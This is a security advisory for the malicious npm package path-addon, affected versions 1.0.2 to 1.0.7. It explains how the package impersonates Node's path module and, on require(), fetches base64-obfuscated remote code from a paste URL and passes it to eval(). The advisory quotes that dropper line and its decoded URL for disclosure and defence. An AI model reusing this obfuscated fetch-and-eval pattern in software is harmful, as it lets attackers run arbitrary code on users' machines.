path-addon
Affected
- Versions:
1.0.2,1.0.3,1.0.4,1.0.5,1.0.6,1.0.7
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-hqv8-vf3j-m8q6
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in path-addon (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (ba1a7df799b6bd11bd036f1cfb1de6b1dfe0e4e72082be1b8a60537a59e5ae58)
path-addon impersonates the Node.js core path module (package name path-addon, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ==")) — which decodes to https://www.jsonkeeper.com/b/RFW6I, an anonymous mutable JSON paste host — then reads the response's content field and passes it to eval(). The destination URL is base64-encoded specifically to evade casual review and string-based scanners. Any process that imports path-addon executes whatever JavaScript the attacker has placed at that paste URL at the moment of require(), with no integrity check, no pinning, and no version constraint. The combined shape (typosquat name + trojanized legitimate source + obfuscated fetch + eval of remote content at module load) is unambiguous attacker tooling.
Source: ossf-package-analysis (4aac3da4c776f814c79af215bfde0f1ee2c3db50e9b18997447f28e9d04df88a)
The OpenSSF Package Analysis project identified 'path-addon' @ 1.0.4 (npm) as malicious.
It is considered malicious because:
Not rated by the source.
1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0